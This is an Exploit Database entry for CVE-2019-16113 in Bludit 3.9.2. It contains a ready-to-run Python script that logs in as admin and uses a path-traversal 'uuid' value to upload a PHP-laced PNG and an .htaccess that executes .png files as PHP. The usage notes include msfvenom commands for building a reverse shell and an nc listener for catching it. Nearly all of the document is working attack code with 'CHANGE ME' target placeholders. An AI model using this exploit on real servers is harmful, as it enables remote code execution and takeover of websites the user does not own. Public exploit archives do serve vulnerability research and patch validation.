Bludit 3.9.2 – Directory Traversal

• Exploit Database
• 101 阅读

• 作者： James Green
  日期： 2020-07-26
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48701/

• # Title: Bludit 3.9.2 - Directory Traversal
  # Author: James Green
  # Date: 2020-07-20
  # Vendor Homepage: https://www.bludit.com
  # Software Link: https://github.com/bludit/bludit
  # Version: 3.9.2
  # Tested on: Linux Ubuntu 19.10 Eoan
  # CVE: CVE-2019-16113
  # 
  # Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699
  
  #### USAGE ####
  # 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP
  # 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir
  # 3. Run the exploit
  # 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc
  # 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png
  
  #!/usr/bin/env python3
  
  import requests
  import re
  import argparse
  import random
  import string
  import base64
  from requests.exceptions import Timeout
  
  url = 'http://127.0.0.1'# CHANGE ME
  username = 'James'# CHANGE ME
  password = 'Summer2020'# CHANGE ME
  
  # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
  # echo -e "<?php $(cat evil.png)" > evil.png 
  payload = 'evil.png'# CREATE ME
  
  # echo "RewriteEngine off" > .htaccess
  # echo "AddType application/x-httpd-php .png" >> .htaccess
  payload2 = '.htaccess'# CREATE ME
  
  def login(url,username,password):
  """ Log in with provided admin creds, grab the cookie once authenticated """
  
  session = requests.Session()
  login_page = session.get(url + "/admin/")
  csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
   login_page.text
   ).group(1)
  cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
  data = {"save":"",
  "password":password,
  "tokenCSRF":csrf_token,
  "username":username}
  headers = {"Origin":url,
   "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
   "Upgrade-Insecure-Requests":"1",
   "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
   "Connection":"close",
   "Referer": url + "/admin/",
   "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
   "Accept-Encoding":"gzip, deflate",
   "Content-Type":"application/x-www-form-urlencoded"
  }
  cookies = {"BLUDIT-KEY":cookie}
  response = session.post(url + "/admin/",
  data=data,
  headers=headers,
  cookies=cookies,
  allow_redirects = False
   )
  
  print("cookie: " + cookie)
  return cookie
  
  def get_csrf_token(url,cookie):
  """ Grab the CSRF token from an authed session """
  
  session = requests.Session()
  headers = {"Origin":url,
   "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
   "Upgrade-Insecure-Requests":"1",
   "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
   "Connection":"close",
   "Referer":url + "/admin/",
   "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
   "Accept-Encoding":"gzip, deflate"}
  cookies = {"BLUDIT-KEY":cookie}
  response = session.get(url + "/admin/dashboard",
   headers=headers,
   cookies=cookies
   )
  csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]
  
  print("csrf_token: " + csrf_token)
  return csrf_token
  
  def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
  """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """
  
  session = requests.Session()
  files= {"images[]": (payload,
   open(payload, "rb"),
   "multipart/form-data",
   {"Content-Type": "image/png", "filename":payload}
  )}
  if override_uuid:
  data = {"uuid": "../../tmp/temp",
  "tokenCSRF":csrf_token}
  else:
  # On the vuln app, this line occurs first:
  # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
  # Even though there is a file extension check, it won't really stop us
  # from uploading the .htaccess file.
  data = {"tokenCSRF":csrf_token}
  headers = {"Origin":url,
   "Accept":"*/*",
   "X-Requested-With":"XMLHttpRequest",
   "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
   "Connection":"close",
   "Referer":url + "/admin/new-content",
   "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
   "Accept-Encoding":"gzip, deflate",
  }
  cookies = {"BLUDIT-KEY":cookie}
  response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
  print("Uploading payload: " + payload)
  
  if __name__ == "__main__":
  cookie = login(url, username, password)
  token = get_csrf_token(url, cookie)
  upload_evil_image(url, cookie, token, payload, True)
  upload_evil_image(url, cookie, token, payload2)
  

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